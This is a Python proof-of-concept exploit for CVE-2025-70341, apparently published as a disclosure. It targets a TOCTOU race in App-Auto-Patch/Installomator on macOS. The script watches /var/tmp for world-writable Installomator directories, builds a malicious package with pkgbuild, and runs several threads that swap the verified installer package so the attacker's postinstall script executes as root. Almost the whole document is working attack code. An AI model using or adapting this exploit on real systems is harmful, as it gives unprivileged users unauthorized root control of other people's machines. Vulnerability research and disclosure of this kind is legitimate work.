README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2025-70341: Local Privilege Escalation via TOCTOU in App-Auto-Patch
App-Auto-Patch <= 3.4.2 creates Installomator's tmpDir with chmod 777,
allowing a local user to swap a verified PKG with a malicious one before
installation. The malicious PKG's postinstall script runs as root.
Prerequisites:
- macOS with App-Auto-Patch <= 3.4.2 or Installomator using chmod 777 tmpDir
- Unprivileged local user account
- Xcode command line tools (for pkgbuild)
Usage:
Terminal 1 (unprivileged): python3 poc.py
Terminal 2 (root/MDM): sudo ./simulate-vulnerable-env.sh
Attack:
1. Run this script as unprivileged user
2. Wait for admin/MDM to trigger App-Auto-Patch / Installomator
3. Script monitors /var/tmp for chmod 777 Installomator directories
4. Races to swap verified PKG with malicious one
5. installer -pkg runs attacker's PKG as root
Disclaimer:
For educational and authorized security testing only.
Only use on systems you own or have explicit permission to test.
"""
import os
import sys
import time
import shutil
import tempfile
import subprocess
import threading
from pathlib import Path
WATCH_DIR = "/var/tmp"
PROOF_FILE = "/tmp/installomator-pwned"
MALICIOUS_PKG = "/tmp/malicious-payload.pkg"
# Shared state
racing = False
swapped = False # Stop swapping once we've placed our file
target_pkg = None
target_dir = None
stop_flag = threading.Event()
def create_malicious_pkg():
"""Create a minimal PKG that proves code execution"""
print("[*] Creating malicious PKG payload...")
pkg_root = tempfile.mkdtemp(prefix="pkgbuild_")
scripts_dir = os.path.join(pkg_root, "scripts")
os.makedirs(scripts_dir)
postinstall = os.path.join(scripts_dir, "postinstall")
with open(postinstall, "w") as f:
f.write(f"""#!/bin/bash
# CVE-2025-70341: Proof of root code execution via TOCTOU race
echo "PWNED by $(whoami) at $(date)" > {PROOF_FILE}
echo "UID: $(id -u)" >> {PROOF_FILE}
echo "CVE-2025-70341 POC successful" >> {PROOF_FILE}
exit 0
""")
os.chmod(postinstall, 0o755)
try:
result = subprocess.run([
"pkgbuild",
"--nopayload",
"--scripts", scripts_dir,
"--identifier", "com.poc.cve-2025-70341",
"--version", "1.0",
MALICIOUS_PKG
], capture_output=True, text=True)
if result.returncode != 0:
print(f"[-] pkgbuild failed: {result.stderr}")
return False
print(f"[+] Created malicious PKG: {MALICIOUS_PKG}")
return True
except FileNotFoundError:
print("[-] pkgbuild not found - need Xcode command line tools")
return False
finally:
shutil.rmtree(pkg_root, ignore_errors=True)
def stager_thread():
"""Continuously keep a staged copy of malicious PKG ready"""
global target_dir
while not stop_flag.is_set():
if target_dir and os.path.isdir(target_dir):
staged = os.path.join(target_dir, ".m.pkg")
try:
if not os.path.exists(staged):
shutil.copy2(MALICIOUS_PKG, staged)
except:
pass
time.sleep(0.001)
def swapper_thread():
"""Continuously delete and replace the target PKG"""
global target_pkg, target_dir, swapped
while not stop_flag.is_set():
if swapped:
# Already placed our file, stop swapping
time.sleep(0.1)
continue
if target_pkg and target_dir:
staged = os.path.join(target_dir, ".m.pkg")
# Only delete if the target exists (don't delete our own file repeatedly)
if os.path.exists(target_pkg) and os.path.exists(staged):
try:
os.remove(target_pkg)
os.rename(staged, target_pkg)
swapped = True
print("[+] SWAPPED! Malicious PKG in place, waiting for installer...")
except:
pass
else:
time.sleep(0.001)
def monitor():
"""Monitor for Installomator directories and PKG files"""
global racing, target_pkg, target_dir
print("[*] Monitoring /var/tmp for Installomator directories...")
print("[*] Waiting for admin/MDM to run App-Auto-Patch / Installomator...")
print()
seen_dirs = set()
while not stop_flag.is_set():
# Check for success
if os.path.exists(PROOF_FILE):
print()
print("=" * 60)
print("[+] SUCCESS! Root code execution achieved!")
print("=" * 60)
with open(PROOF_FILE) as f:
print(f.read())
return True
# Find Installomator directories
try:
for entry in os.scandir(WATCH_DIR):
if entry.is_dir() and entry.name.startswith("Installomator."):
if entry.path not in seen_dirs:
print(f"[!] Found Installomator dir: {entry.path}")
seen_dirs.add(entry.path)
stat = os.stat(entry.path)
mode = oct(stat.st_mode)[-3:]
print(f" Permissions: {mode}")
if mode == "777":
print(f" [+] Directory is world-writable!")
target_dir = entry.path
# Look for PKG files
if target_dir == entry.path:
try:
for pkg in os.scandir(entry.path):
if pkg.is_file() and pkg.name.endswith(".pkg") and not pkg.name.startswith("."):
if target_pkg != pkg.path:
print(f"[!] Found PKG: {pkg.path}")
print(f"[*] Racing...")
target_pkg = pkg.path
racing = True
except:
pass
except:
pass
if not racing:
time.sleep(0.01)
def check_prerequisites():
"""Check if we can run the POC"""
if os.geteuid() == 0:
print("[*] Already root - nothing to escalate")
return False
if not os.access(WATCH_DIR, os.R_OK):
print(f"[-] Cannot read {WATCH_DIR}")
return False
print(f"[+] Running as UID {os.getuid()}")
print(f"[+] Can monitor {WATCH_DIR}")
return True
def main():
print("=" * 60)
print("CVE-2025-70341: App-Auto-Patch TOCTOU Privilege Escalation")
print("=" * 60)
print()
if not check_prerequisites():
return 1
if not os.path.exists(MALICIOUS_PKG):
if not create_malicious_pkg():
print("[-] Failed to create malicious PKG")
return 1
else:
print(f"[+] Using existing malicious PKG: {MALICIOUS_PKG}")
print()
if os.path.exists(PROOF_FILE):
os.remove(PROOF_FILE)
# Start worker threads
threads = [
threading.Thread(target=stager_thread, daemon=True),
threading.Thread(target=swapper_thread, daemon=True),
threading.Thread(target=swapper_thread, daemon=True), # Multiple swappers
threading.Thread(target=swapper_thread, daemon=True),
]
for t in threads:
t.start()
try:
monitor()
except KeyboardInterrupt:
print("\n[*] Interrupted")
stop_flag.set()
return 0
stop_flag.set()
return 0
if __name__ == "__main__":
sys.exit(main())